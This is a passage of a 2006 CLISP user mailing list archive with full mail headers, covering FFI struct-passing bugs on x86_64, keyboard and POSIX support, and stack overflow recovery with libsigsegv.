11:26:04 2006 X-Original-Date: Wed, 26 Apr 2006 20:23:21 +0200 Joerg-Cyril Hoehle wrote: > >Suggestions: Either write a wrapper around your function to pass or > >return the structs by pointer. Or enhance clisp's foreign.d to > >deal with this case automatically. > > What is possible in CLISP's foreign.d except signaling an error? foreign.d could signal an error in that case. But foreign1.lisp should emit C code for a wrapper function that passes the struct by pointer. Bruno From don-sourceforge-xx@isis.cs3-inc.com Wed Apr 26 11:33:59 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FYopq-00032U-Ac for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 11:33:58 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FYopq-0006J1-Am for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 11:33:58 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FYopo-0003K7-2K for clisp-list@lists.sourceforge.net; Wed, 26 Apr 2006 11:33:58 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 5AF5D1A818F; Wed, 26 Apr 2006 11:33:50 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17487.48398.259891.295927@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] EXT:WITH-KEYBOARD, EXT:*KEYBOARD-INPUT* missing from 2.38 In-Reply-To: References: X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Apr 26 11:34:04 2006 X-Original-Date: Wed, 26 Apr 2006 11:33:50 -0700 Hoehle, Joerg-Cyril writes: > Don cohen wrote: > >These seem not to work in 2.38 downloaded from > >http://sourceforge.net/project/showfiles.php?group_id=1355 > >e.g., clisp-2.38-x86_64-unknown-linux-gnu-2.6.9.tar.gz > Do you mean working as functional or available? Well, the symbols are available. The stuff needed to make them functional is not. > >I notice that they do seem to work in clisp.i386 2.38-1.fc4 > > >I do notice that working with-keyboard seems to correlate with > >#+screen. Is that coincidence? Can it be made to work even when > >#-screen? > lispbibl.d shows that they share the same conditions for availability: > #if ((defined(UNIX) && !defined(NEXTAPP) || defined(MAYBE_NEXTAPP)) && !defined\ > (NO_TERMCAP_NCURSES)) || defined(WIN32_NATIVE) > > Alas, there's #+SCREEN on the Lisp side to detect it, but there's no #+KEYBOARD nor something equivalent. > > In a CLISP version that does not provide this functionality, what would you expect: > a) no symbol named ext:with-keyboard available? > b) symbol present, but not fbound? > c) symbol only internal, not exported from EXT? I'd expect (a). I'd also expect the dependency to be mentioned in impnotes. But I don't understand what keyboard has to do with screen. Why shouldn't it always be available? > Of course, that does not explain why it "seems not to work" in the > package you mention. That's now easy: #-screen From Bernard.Urban@meteo.fr Thu Apr 27 00:43:38 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZ1A0-0006B4-NY for clisp-list@lists.sourceforge.net; Thu, 27 Apr 2006 00:43:36 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZ19x-0006f0-AM for clisp-list@lists.sourceforge.net; Thu, 27 Apr 2006 00:43:36 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id D88EFD48CE; Thu, 27 Apr 2006 07:43:20 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 18613-05; Thu, 27 Apr 2006 07:43:20 +0000 (UTC) Received: from MONTAILLOU (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id 886D9D41B9; Thu, 27 Apr 2006 07:43:20 +0000 (UTC) From: Bernard Urban To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: Re: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails References: Gcc: nnml:mail.copie In-Reply-To: (Joerg-Cyril Hoehle's message of "Wed, 26 Apr 2006 18:44:01 +0200") Message-ID: User-Agent: Gnus/5.110004 (No Gnus v0.4) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 27 00:44:01 2006 X-Original-Date: Thu, 27 Apr 2006 09:43:20 +0200 "Hoehle, Joerg-Cyril" writes: > Bernard Urban wrote: > >>The following program works fine on a=20=20 >>Intel Xeon machine (used as a i686 machine),=20 >>but fails on a different >>machine with the same CPU, but used as a x86_64 machine. >>the FFI tests on installation work ok even on x86_64 > > Did you compile CLISP 2.38 yourself or do you use some distribution? > I compiled myself (they are Red Hat machines); no special configure or gcc options used. >>struct projUV { >> double u, v; >>}; >>struct projUV pj_fwd(struct projUV in, opaque proj) > >>Output from the i686 machine: >>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? >>Input proj =3D 0x81ea530 u =3D 45 v =3D 67 > >>And from the x86_64 machine: >>Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? >>Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0 >>So there is something weird happening, related to pointer apparently. > > This looks like a bug in the ffcall library. It looks like ffcall did no= t guess the correct calling convention for passing or returning this struct. > Is it possible for you to work with pointers to structs instead, as a wor= k-around? I will try this (already required by cmucl anyway in 32 bits) and mail you the results. > > Sadly, I have no access to a 64bit machine. > Could you add a test to ffcall/avcall/tests.c similar to the existing > typedef struct { long l1; long l2; } J; > J J_JiJ (J a, int b, J c) > and report ffcall test results? =20 Ditto. > That test shows that passing & returning a struct { long ; long } works. > struct { double; double } is untested and could make a difference. > > Regards, > J=F6rg H=F6hle. > Sincerely. --=20 Bernard Urban From dave@vyatta.com Thu Apr 27 15:43:05 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZFCQ-0000DE-4r for clisp-list@lists.sourceforge.net; Thu, 27 Apr 2006 15:43:02 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZFCQ-0004l1-5V for clisp-list@lists.sourceforge.net; Thu, 27 Apr 2006 15:43:02 -0700 Received: from [69.59.150.139] (helo=mail.vyatta.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZFCP-0006ng-Fy for clisp-list@lists.sourceforge.net; Thu, 27 Apr 2006 15:43:02 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 1F33210E04FC for ; Thu, 27 Apr 2006 15:43:01 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 28119-08 for ; Thu, 27 Apr 2006 15:42:58 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id A8F6010E04FB for ; Thu, 27 Apr 2006 15:42:58 -0700 (PDT) Message-ID: <445148F0.8070001@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.587 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.012, BAYES_00=-2.599] X-Spam-Score: -2.587 X-Spam-Level: X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 27 15:44:00 2006 X-Original-Date: Thu, 27 Apr 2006 15:42:56 -0700 I have a project starting that is probably a good match for CLISP. In broad terms, it's essentially implementing a shell for a POSIX system (Linux, specifically) in CL. There's a lot more to it, but behaviorally that's it. Given this, I need pretty broad access to the POSIX API as possible. I noticed that there are already some things in CLISP's tool kit in section 32.11 of the implementation notes (POSIX and OS packages) as well as some things for raw terminal IO in 21.2.2. Unfortunately, there isn't a complete set. In fact, the set that exists is pretty eclectic (why POSIX:SETPGRP but not FORK??). My hunch is that I'll basically end up using the POSIX package interface where I need it, and then augmenting that with other system calls as appropriate. Some questions: 1. I'll need to be able to deal with signals. I have read the mailing list archives where it's very strongly pointed out not to try to run signals in Lisp as it can confuse the GC. Is there any problem running signals as C routines through FFI? 2. Which signals, if any, does CLISP use internally on Linux, perhaps for things like page protection for GC? I'll need to avoid those signals. 3. Are there any other gotchas with respect to fork, exec, etc? 4. I'll need to be manipulating file descriptors all over the place. What's the best way to do that without conflicting with CLISPs stream handling. I'll want to do raw IO, but may need more control that the EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess with the tty direction and probably invoke all sorts of termios functions. 5. I'll need a select/poll loop that can handle all types of descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame it's named something that's so socket-specific if it's really a more general functionality). Are there any gotchas here? On Linux, does it call select or poll (curios in terms of scalability)? I'm sure I'll have many more questions as I get cracking, but this is a start. Thanks! -- Dave From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 28 01:36:56 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZOTA-0005ub-37 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 01:36:56 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZOTA-0000pk-5J for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 01:36:56 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZOT7-0006Js-4Y for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 01:36:55 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 28 Apr 2006 10:36:44 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Apr 2006 10:36:44 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: haible@ilog.fr, bonzini@users.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] status of stack overflow recovery in CLISP (&libsigsegv) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 01:37:06 2006 X-Original-Date: Fri, 28 Apr 2006 10:34:44 +0200 Hi, CLISP uses two stacks: a STACK for Lisp objects and the C program stack. I'm not aware of problems with stack overflow recovery of the Lisp stack. CLISP will reset to a REPL when this happens. There were several problems with program stack overflow. They should belong to the past now that I just fixed something in CVS (related to UNIX). CLISP depends on libsigsegv to provide program stack overflow recovery. Without libsigsegv, CLISP will just crash. Beginners (those who are likely to write endless recursive functions) are advised to use a distribution of CLISP that has been compiled with libsigsegv. If your's does not contain it, please complain to the distribution's maintainer. In a new recent enough clisp, you can use (SOFTWARE-TYPE) to inquire about libsigsegv. E.g. [1]> (software-type) "cl -G5 -Ot -Oy -Ob1 -Gs -Gf -Gy -Og -W4 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT - I. charset.lib avcall.lib callback.lib user32.lib ws2_32.lib advapi32.lib ole3 2.lib shell32.lib sigsegv.lib SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRI VIALMAP_MEMORY libsigsegv 2.2" Or you can use [2]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n))))) FACT ; interpreted, not compiled [3]> (fact -1) *** - Program stack overflow. RESET [4]> (fact -1) *** - Program stack overflow. RESET [5]> With libsigsegv, CLISP should exhibit the above behaviour. However, there were two bugs: 1) gcc4 causes libsigsegv to misconfigure and not provide stack overflow detection. This can be seen in the include file sigsegv.h. If it does not say #if 1 # define HAVE_STACK_OVERFLOW_RECOVERY 1 and your Linux is new enough and gcc4 was used to compile it, it's misconfigured. This bug affects Ubuntu Breezy Debian, among other distributions. Ubuntu Hoary used gcc-3.4 and was not affected. A patch is available at http://sourceforge.net/tracker/index.php?func=detail&aid=1452072&group_id=61267&atid=496662 2) CLISP did not reset signals after stack overflow on UNIX, leading to the "CLISP dumps core after second stack overflow" symptom. This is what I just fixed in CVS. In summary there are no known issues left that I know of. CLISP + libsigsegv (current is 2.2) will work fine if o on MS-Windows-XP, you use libsigsegv from CVS o on other MS-Windows, you can use the 2.2 release o on Unix with gcc4, you use my patch to libsigsegv 2.2 o on Unix with another gcc, you can use the 2.2 release. I hope that the libsigsegv maintainer will find time to release 2.3 ASAP. In the meantime, I think I'll file a bug report to Debian to have the patch applied independently. Regards, Jorg Hohle From kavenchuk@jenty.by Fri Apr 28 02:00:51 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZOqJ-0000CD-60 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:00:51 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZOqJ-00015h-Aq for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:00:51 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZOqG-0004qF-Nw for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:00:51 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2V6NVN7P; Fri, 28 Apr 2006 12:02:44 +0300 Message-ID: <4451DA1B.7060303@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, haible@ilog.fr, bonzini@users.sourceforge.net Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&libsigs egv) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 02:01:05 2006 X-Original-Date: Fri, 28 Apr 2006 12:02:19 +0300 Hoehle, Joerg-Cyril wrote: > CLISP + libsigsegv (current is 2.2) will work fine if > o on MS-Windows-XP, you use libsigsegv from CVS > o on other MS-Windows, you can use the 2.2 release Version of the clisp? libsigsegv with[out] patch? [1]> (VERSION) # [2]> (SOFTWARE-VERSION) "GNU C 3.4.5 (mingw special)" [3]> (LISP-IMPLEMENTATION-VERSION) "2.38 (2006-01-24) (built 3350973001) (memory 3350973673)" [4]> (software-type) "gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none -lintl libcharset.a libavcall.a libcallback.a /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2 libiconv 1.9 libreadline 5.0" [5]> (defun fact(n)(if (zerop n) 1 (* n (fact (1- n))))) FACT [6]> (fact -1) Instant segfault -- WBR, Yaroslav Kavenchuk. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 28 02:44:43 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZPWj-0004nC-2q for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:44:41 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZPWj-0001Q7-6G for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:44:41 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZPWh-0001Hs-Ld for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 02:44:41 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 28 Apr 2006 11:44:33 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 28 Apr 2006 11:44:33 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: kavenchuk@jenty.by Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigs egv) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 02:45:03 2006 X-Original-Date: Fri, 28 Apr 2006 11:44:28 +0200 Yaroslav Kavenchuk wonders: >> CLISP + libsigsegv (current is 2.2) will work fine if >> o on MS-Windows-XP, you use libsigsegv from CVS >> o on other MS-Windows, you can use the 2.2 release >Version of the clisp? libsigsegv with[out] patch? >[2]> (SOFTWARE-VERSION) >"GNU C 3.4.5 (mingw special)" >[4]> (software-type) >"gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit=20 >-Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2=20 >-fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none = >-lintl libcharset.a libavcall.a libcallback.a=20 >/usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32=20 >-loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv >SAFETY=3D0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS=20 >SPVW_MIXED TRIVIALMAP_MEMORY >libsigsegv 2.2 >libiconv 1.9 >libreadline 5.0" Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably = need CLISP CVS and or libsigsegv patches. Please report results. Regards, J=F6rg H=F6hle From kavenchuk@jenty.by Fri Apr 28 03:03:19 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZPok-0006uS-H1 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 03:03:18 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZPok-0001aI-Jk for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 03:03:18 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZPoi-0006kg-2b for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 03:03:18 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id 2V6NV3DW; Fri, 28 Apr 2006 13:05:46 +0300 Message-ID: <4451E8E1.2090807@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.8.0.2) Gecko/20060404 SeaMonkey/1.0.1 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigs egv) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 03:04:08 2006 X-Original-Date: Fri, 28 Apr 2006 13:05:21 +0300 Hoehle, Joerg-Cyril wrote: > Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably > need CLISP CVS and or libsigsegv patches. Please report results. > No problem, but anonimous CVS access... Maybe somebody upload patch from 2.38 (or 1.5276 from 2006.03.27.14.33.14) to interent? Thanks! -- WBR, Yaroslav Kavenchuk. From bruno@clisp.org Fri Apr 28 05:37:51 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZSEI-0006Mm-K9 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 05:37:50 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FZSEH-0001Rc-69 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 05:37:50 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.1) with ESMTP id k3SCbd74032051; Fri, 28 Apr 2006 14:37:39 +0200 Received: from marbore.ilog.biz (marbore.ilog.biz [172.17.2.61]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id k3SCbYv1030127; Fri, 28 Apr 2006 14:37:34 +0200 Received: from honolulu.ilog.fr ([172.16.15.122]) by marbore.ilog.biz with Microsoft SMTPSVC(6.0.3790.1830); Fri, 28 Apr 2006 14:39:14 +0200 Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 6F1173C40B; Fri, 28 Apr 2006 12:35:37 +0000 (UTC) From: Bruno Haible To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 Cc: bonzini@users.sourceforge.net References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200604281435.36318.bruno@clisp.org> X-OriginalArrivalTime: 28 Apr 2006 12:39:14.0325 (UTC) FILETIME=[C1BC5C50:01C66AC0] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: status of stack overflow recovery in CLISP (&libsigsegv) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 05:38:28 2006 X-Original-Date: Fri, 28 Apr 2006 14:35:36 +0200 Joerg-Cyril Hoehle wrote: > CLISP + libsigsegv (current is 2.2) will work fine if > o on MS-Windows-XP, you use libsigsegv from CVS > o on other MS-Windows, you can use the 2.2 release > o on Unix with gcc4, you use my patch to libsigsegv 2.2 > o on Unix with another gcc, you can use the 2.2 release. > > I hope that the libsigsegv maintainer will find time to release 2.3 ASAP. GNU libsigsegv-2.3 is released, in http://ftp.gnu.org/gnu/libsigsegv/ . New in 2.3: * Support for GCC 4 contributed by Paolo Bonzini. * Support for MacOS X i386 contributed by Bruno Haible. * Improved support for Woe32 contributed by Doug Currie. Bruno From sds@podval.org Fri Apr 28 13:46:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZZrK-0001w6-Ez for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 13:46:38 -0700 Received: from sccrmhc13.comcast.net ([204.127.200.83]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZZrI-0005mC-9K for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 13:46:38 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (sccrmhc13) with ESMTP id <200604282046260130019v7ne>; Fri, 28 Apr 2006 20:46:26 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 2B9D03A2FDB; Fri, 28 Apr 2006 16:46:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dave Roberts Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <445148F0.8070001@vyatta.com> (Dave Roberts's message of "Thu, 27 Apr 2006 15:42:56 -0700") References: <445148F0.8070001@vyatta.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dave Roberts Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: 